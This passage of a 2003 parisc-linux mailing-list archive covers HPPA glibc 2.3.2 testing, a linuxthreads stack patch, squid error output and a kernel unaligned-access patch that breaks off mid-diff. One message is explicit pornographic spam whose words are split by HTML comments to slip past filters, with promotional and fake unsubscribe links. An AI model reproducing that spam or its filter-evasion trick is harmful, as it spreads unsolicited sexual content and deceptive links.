List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19854

On Fri, Oct 17, 2003 at 02:09:12PM -0400, Carlos O'Donell wrote:
> ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/

I've downloaded the debs and copied them to my ftp server on
gsyprf10 in case ftp.p-l.o is saturated (unlikely).

And kudos to Carlos!

I've installed the libc6 and libc6-dev debs on both c3k's
and they both are working fine (well, mozilla-firebird is
still broken, not new).

Thanks!
grant


From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Sat, 18 Oct 2003 18:25:27 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200310182225.h9IMPR0i023691__29330.6679850959$1416622885$gmane$org@hiauly1.hia.nrc.ca>
References: <20031018215509.GB10704@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622885 32740 80.91.229.3 (22 Nov 2014 02:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:25 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 16:25:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC9654852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 16:25:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9IMPSDF023692;
	Sat, 18 Oct 2003 18:25:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9IMPR0i023691;
	Sat, 18 Oct 2003 18:25:27 -0400 (EDT)
In-Reply-To: <20031018215509.GB10704@colo.lackof.org> from "Grant Grundler" at Oct 18, 2003 03:55:09 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19855

> I've installed the libc6 and libc6-dev debs on both c3k's
> and they both are working fine (well, mozilla-firebird is
> still broken, not new).

I don't know about firebird but standard mozilla needs some pa specific
configuration stuff added before it will build/work.  I made a first
cut at this and started debugging the app a few weeks ago, but got
caught up in other things.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] _STACK_GROWS_UP fixes.
Date: Sat, 18 Oct 2003 18:55:47 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20031018225547.GE8642__30464.2984098338$1416622885$gmane$org@systemhalted>
References: <20031012213734.GJ23999@systemhalted> <20031015053431.GE12344@sunsite.ms.mff.cuni.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622885 32741 80.91.229.3 (22 Nov 2014 02:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:25 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Jakub Jelinek <jakub@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 16:59:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 449A04852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 16:59:43 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AAzzA-000337-00; Sat, 18 Oct 2003 18:55:48 -0400
Content-Disposition: inline
In-Reply-To: <20031015053431.GE12344@sunsite.ms.mff.cuni.cz>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19856

On Wed, Oct 15, 2003 at 07:34:31AM +0200, Jakub Jelinek wrote:
> On Sun, Oct 12, 2003 at 05:37:34PM -0400, Carlos O'Donell wrote:
> > 2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>
> > 
> > 	* pthread.c (__pthread_self_stack): _STACK_GROWS_UP case added.
> > 	(__pthread_find_self): Likewise.
> > 	* manager.c (thread_segment): _STACK_GROWS_UP case added.
> 
> You need to look at linuxthreads/attr.c (__pthread_attr_getstack) too
> (the recent code which parses /proc/self/maps and finds stack VMA in there).

Jakub,

What do you think of something like this? Would it not also be valid to
do something like "to - from" for the _STACK_GROWS_DOWN case?

I'm building with this patch right now.

c.

---
2003-10-18  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* attr.c (pthread_getattr_np): Add _STACK_GROWS_UP case when
	converting /proc/self/maps entry to __stackaddr and __stacksize.

Index: linuxthreads/attr.c
===================================================================
RCS file: /cvs/glibc/libc/linuxthreads/attr.c,v
retrieving revision 1.33
diff -u -p -r1.33 attr.c
--- linuxthreads/attr.c	23 Sep 2003 06:12:59 -0000	1.33
+++ linuxthreads/attr.c	18 Oct 2003 22:34:03 -0000
@@ -455,12 +455,19 @@ int pthread_getattr_np (pthread_t thread
 		{
 		  /* Found the entry.  Now we have the info we need.  */
 		  attr->__stacksize = rl.rlim_cur;
+#ifdef _STACK_GROWS_DOWN
 		  attr->__stackaddr = (void *) to;

From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Sat, 18 Oct 2003 23:30:18 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3F91CD0A.2090307@tiscali.be>
References: <3F8A29A2000021FB@ocpmta1.freegates.net> <20031017023038.GA12379@colo.lackof.org> <3F9193E7.9010504@tiscali.be> <20031018220048.GC10704@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622885 32744 80.91.229.3 (22 Nov 2014 02:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:25 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 17:30:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E7C6E4852; Sat, 18 Oct 2003 17:30:18 -0600 (MDT)
Original-Received: from [62.235.120.104] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AB0WY-0004aZ-6X; Sun, 19 Oct 2003 01:30:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <20031018220048.GC10704@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19857


Grant Grundler wrote:

>>
>>Well, when I will ( ;) ) have a more accurate idea of what mean 
>>_(ab)use_ kmpa() (i thinks it is to write a parisc specific kmpa() as 
>>for some other platform?) and the work it would require, I will so ask 
>>on the list. But before all, I still need to learn a lot on vm and so 
>>read A. Tananenbaum book on vm as well as the (excelent) Mel Gorman thesis.
> 
Grant,

Well, the 'Operating systems design and implementation' of Andrew S. 
Tanenbaum & Albert S. Woodhull (2d edition) is available near Prentice 
Hall (I don't know if another format (pdf, html) is available, sorry).

OTC the thesis of Mel Gorman 'Understanding The Linux Virtual Memory 
Manager' and 'Code Commentary On The Linux Virtual Memory Manager' is 
available as html and pdf format at:

<http://www.csn.ul.ie/~mel/projects/vm/>

as well as many interesting material (but I will let you read).

hth,
	Joel



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Sat, 18 Oct 2003 23:54:43 +0000
Lines: 111
Approved: news@gmane.org
Message-ID: <3F91D2C3.8020209__17885.4625825354$1416622886$gmane$org@tiscali.be>
References: <20031017180912.GD27289@systemhalted> <3F91A332.9050700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622886 32748 80.91.229.3 (22 Nov 2014 02:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:26 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 18 17:54:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23A064852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Oct 2003 17:54:50 -0600 (MDT)
Original-Received: from [62.235.120.104] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AB0uC-0004qD-3c; Sun, 19 Oct 2003 01:54:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F91A332.9050700@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19858

Carlos,

Sucessfully install :)

Some rsync, ssh connection still work fine;

as well 'apt-get install somepkg'.

build our k-2.6.0-test8-pa1 with success also (boot fine ;) )

evolution (k-2.4.21-32 always) works fine (a bit slow on my c110)

Test case about mallopt() ok :)

So squid didn't hang any more at start up but still failled:
'Setting up squid (2.5.4-2) ...
Creating squid spool directory structure
FATAL: Could not determine fully qualified hostname.  Please set 
'visible_hostname'

Squid Cache (Version 2.5.STABLE4): Terminated abnormally.
CPU Usage: 0.140 seconds = 0.060 user + 0.080 sys
Maximum Resident Size: 0 KB
Page faults with physical i/o: 323
/var/lib/dpkg/info/squid.postinst: line 177:  1082 Aborted 
    /usr/sbin/squid -z
Starting proxy server: Creating squid spool directory structure
FATAL: Could not determine fully qualified hostname.  Please set 
'visible_hostname'

Squid Cache (Version 2.5.STABLE4): Terminated abnormally.
CPU Usage: 0.150 seconds = 0.040 user + 0.110 sys
Maximum Resident Size: 0 KB
Page faults with physical i/o: 323
/etc/init.d/squid: line 133:  1106 Aborted 
/usr/sbin/squid -z
FATAL: Could not determine fully qualified hostname.  Please set 
'visible_hostname'

Squid Cache (Version 2.5.STABLE4): Terminated abnormally.
CPU Usage: 0.180 seconds = 0.080 user + 0.100 sys
Maximum Resident Size: 0 KB
Page faults with physical i/o: 435
/etc/init.d/squid: line 133:  1108 Aborted 
start-stop-daemon --quiet --start --pidfile $PIDFILE --exec $DAEMON -- 
$SQUID_ARGS </dev/null
squid.'

I will try to see?

Joel Soete wrote:
> Hi Carlos,
> 
> I can safely broken my raid1 Debian/unstable install and drive some test 
> on a disk :) and advise you.
> 
> Joel
> 
> Carlos O'Donell wrote:
> 
>> parisc-linux,
>> debian-hppa,
>>
>> --- CALLING ALL TESTERS! ---
>>
>> glibc 2.3.2 is complete for HPPA. We've gotten rid of the following
>> long standing test-suite errors (bug-iconv3, and test-fenv).
>>
>> The regressions in 2.3.2 were caused by incorrect handling of the PIC
>> register by the kernel, but fixed in glibc. Most cases for our stack
>> were handled incorrectly (stack grows up cases), but are fixed in this
>> release.
>>
>> ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/
>>
>> Download all the debs and install with:
>>
>> dpkg -i libc6_*.deb
>> (Followed by dpkg -i of the rest in any order, libc6 must install first)
>> Please do this only if you consider yourself a well seasoned linux-type
>> person. If that dpkg install fails for any reason you might be in
>> trouble. I'm running these debs on all my boxes, and I've tested in a
>> chroot, rebuilt our toolchain, and ran lmbench, gnome-session, nautilus,
>> and abi-word.
>>
>> http://www.baldric.uwo.ca/~carlos/a500-gnome-abiword.png
>>
>> Thanks go out to everyone for all the moral support and fun!
>> --- TEST IT AND REPORT BACK ... PLEASE! :) ---
>>
>> == DISCLAIMER ===
>> I do not guarantee that these debs won't cause your computer to explode
>> like a pineapple grenade, showering shrapnel and fiery death on all your
>> loved ones.
>> == DISCLAIMER ===
>>
>> c.
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jasmine Nolan" <3oktrwcpf@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] indiss udside
Date: Sun, 19 Oct 03 19:59:15 GMT
Lines: 67
Approved: news@gmane.org
Message-ID: <vj1jj4-47b435$$n7f0$$h2@0632b.22>
Reply-To: "Jasmine Nolan" <3oktrwcpf@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_00AA_F4B.6_9..0B046_"
X-Trace: ger.gmane.org 1416622886 32750 80.91.229.3 (22 Nov 2014 02:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 00:02:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A9C483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 00:02:00 -0600 (MDT)
Original-Received: from pd9e4b62d.dip.t-dialin.net (pD9E4B62D.dip.t-dialin.net [217.228.182.45])
	by cuprel1.hp.com (Postfix) with SMTP id 37642FFC
	for <parisc-linux@parisc-linux.org>; Sat, 18 Oct 2003 23:01:17 -0700 (PDT)
Original-Received: from [169.126.192.56] by pd9e4b62d.dip.t-dialin.net id U11fx08pr0Lh; Sun, 19 Oct 2003 19:59:15 -0600
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19859

--_00AA_F4B.6_9..0B046_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#FFFFFF" text=3D"#000000" link=3D"#FFFF00" vlink=3D"#FFFF=
00" alink=3D"#FFFF00">
<table width=3D"531" height=3D"44" align=3D"center" bgcolor=3D"#950000"><!=
-- wallis -->
<tr><td align=3D"center" valign=3D"middle" width=3D"529"><b><font color=3D=
"#FFFFFF" face=3D"Verdana" size=3D"5">H<!-- glasswort -->ot
 mo<!-- if -->ms getting f<!-- den -->uck<!-- =
bethesda -->ed go<!-- antisemitic -->od!</font></b></td></tr></table>=

<table width=3D"527" height=3D"201" align=3D"center" bgcolor=3D"#990000"><=
tr> 
<td align=3D"center" valign=3D"top" bgcolor=3D"#990000" height=3D"178"> 
<table width=3D"525" height=3D"128" align=3D"center"><tr><!-- =
cavilling -->
<td align=3D"center" valign=3D"middle" bgcolor=3D"#FFFFFF" height=3D"192">=

<p align=3D"left"><!-- implode --><font color=3D"#000000" face=3D"Ver=
dana" size=3D"4">See
 the ho<!-- crayfish -->tt<!-- eng -->est as<!-- =
deborah -->s<!-- bony -->ed mo<!-- backwater -->ms getting=
 f<!-- watchman -->uc<!-- lopsided -->ked good and ha<!-- =
cost -->rd. The <!-- megawatt -->way there
 hu<!-- benefactor -->sbands would never da<!-- creamery -->re, only=
 at M<!-- divulge -->.i.l<!-- frick -->.f Que<!-- =
unidimensional -->st.</font>
 <p align=3D"left"><font color=3D"#000000" face=3D"Verdana" size=3D"4">We
 sear<!-- inspector -->ch hi<!-- echoes -->gh and low from gr<!--=
 polonium -->ocery st<!-- departure -->ores to sho<!-- =
leyden -->pping centers,
 se<!-- messenger -->archi<!-- defer -->ng for the h<!-- =
feudal -->ott<!-- ecstasy -->est M<!-- affirm -->.i.l<!--=
 monitor -->.f's. We sim<!-- sun -->ply of<!-- =
hugh -->fer the h<!-- architect -->o<!-- hug -->e's so=
me
 ca<!-- disruptive -->sh to f<!-- psalter -->u<!-- karamazov -->=
ck - they just can't res<!-- artemis -->ist.</font></p>
 <p align=3D"center"><font color=3D"#000000" face=3D"Verdana" size=3D"4"><=
a href=3D"http://constitution@www.surfbling.com/mi/index.html?=
reprehensible" style=3D"color: #000000"><!-- fissile -->Cl<!-- =
ellsworth -->ick
 he<!-- lanthanum -->re for a F<!-- conveyor -->R<!-- =
icicle -->EE to<!-- heine -->ur</a></font></td><!-- =
pathetic --></tr></table></td></tr><!-- arc --></table>
<table width=3D"533" height=3D"33" align=3D"center" bgcolor=3D"#950000"><!=
-- aztec --><tr> 
<td align=3D"center" valign=3D"middle" width=3D"525"><b><font color=3D"#00=
0000" face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2"><a href=3D=
"http://vineyard@www.surfbling.com/mi/index.html?goniometer">C<!-- =
lot -->li<!-- spit -->ck
 he<!-- beg -->re to jo<!-- approval -->in the qu<!-- =
ejector -->est to fi<!-- berman -->nd ho<!-- acre -->t =
and ho<!-- mexico -->rn<!-- blanc -->y M.<!-- bound --=
>I.<!-- torn -->L.F's</a></font></b></td>
</tr></table><p align=3D"center"><a href=3D"http://cuny@www.surfbl=
ing.com/rm/rm.php?tessellate" style=3D"color: #000000">I
do<!-- abominable -->nt wa<!-- wrongdo -->nt to g<!-- =
barstow -->et any more of these mess<!-- envy -->ages ple<!--=
 carla -->ase</a></p></body>
fpyyvwaz  pg

--_00AA_F4B.6_9..0B046_--



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] handle pagefaults on unaligned access
Date: Sat, 18 Oct 2003 23:38:25 -0700
Lines: 492
Approved: news@gmane.org
Message-ID: <20031019063825.GE24406@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622886 32754 80.91.229.3 (22 Nov 2014 02:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 00:34:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E91C48B7
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 00:34:09 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 92909CD2F8; Sat, 18 Oct 2003 23:38:25 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19860

while testing out gcj today, i was able to crash the machine
consistently with both 2.4 and 2.6 kernel. turns out our unaligned
handler doesn't handle page faults properly. in the case for gcj, there
was a ldh on the edge of the page, the first byte is on a resident page,
the 2nd byte is on a faulting page.

this patch seems to fix it (at least the case i was seeing). any 
comments before i commit it?

thanks
randolph

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.21
diff -u -p -r1.21 unaligned.c
--- arch/parisc/kernel/unaligned.c	23 Sep 2003 20:15:33 -0000	1.21
+++ arch/parisc/kernel/unaligned.c	19 Oct 2003 06:29:00 -0000
@@ -128,6 +128,9 @@
 #define IM5_3(i) IM((i),5)
 #define IM14(i) IM((i),14)
 
+#define ERR_NOTHANDLED	-1
+#define ERR_PAGEFAULT	-2
+
 int unaligned_enabled = 1;
 
 void die_if_kernel (char *str, struct pt_regs *regs, long err);
@@ -136,16 +139,28 @@ static int emulate_ldh(struct pt_regs *r
 {
 	unsigned long saddr = regs->ior;
 	unsigned long val = 0;
+	int ret;
 
 	DPRINTF("load " RFMT ":" RFMT " to r%d for 2 bytes\n", 
 		regs->isr, regs->ior, toreg);
 
 	__asm__ __volatile__  (
-"	mtsp	%3, %%sr1\n"
-"	ldbs	0(%%sr1,%2), %%r20\n"
-"	ldbs	1(%%sr1,%2), %0\n"
-	"depw	%%r20, 23, 24, %0\n"
-	: "=r" (val)
+"	mtsp	%4, %%sr1\n"
+"1:	ldbs	0(%%sr1,%3), %%r20\n"
+"2:	ldbs	1(%%sr1,%3), %0\n"
+"	depw	%%r20, 23, 24, %0\n"
+"	cmpclr,= %%r0, %%r0, %1\n"
+"3:	ldo	-2(%%r0), %1\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(3b-1b)\n"
+"	.dword  2b,(3b-2b)\n"
+#else
+"	.word	1b,(3b-1b)\n"
+"	.word	2b,(3b-2b)\n"
+#endif
+"	.previous\n"
+	: "=r" (val), "=r" (ret)
 	: "0" (val), "r" (saddr), "r" (regs->isr)
 	: "r20" );
 
@@ -154,26 +169,39 @@ static int emulate_ldh(struct pt_regs *r
 	if (toreg)
 		regs->gr[toreg] = val;
 
-	return 0;
+	return ret;
 }
+
 static int emulate_ldw(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
 	unsigned long val = 0;
+	int ret;
 
 	DPRINTF("load " RFMT ":" RFMT " to r%d for 4 bytes\n", 
 		regs->isr, regs->ior, toreg);
 
 	__asm__ __volatile__  (
-"	zdep	%2,28,2,%%r19\n"		/* r19=(ofs&3)*8 */
-"	mtsp	%3, %%sr1\n"
-"	depw	%%r0,31,2,%2\n"
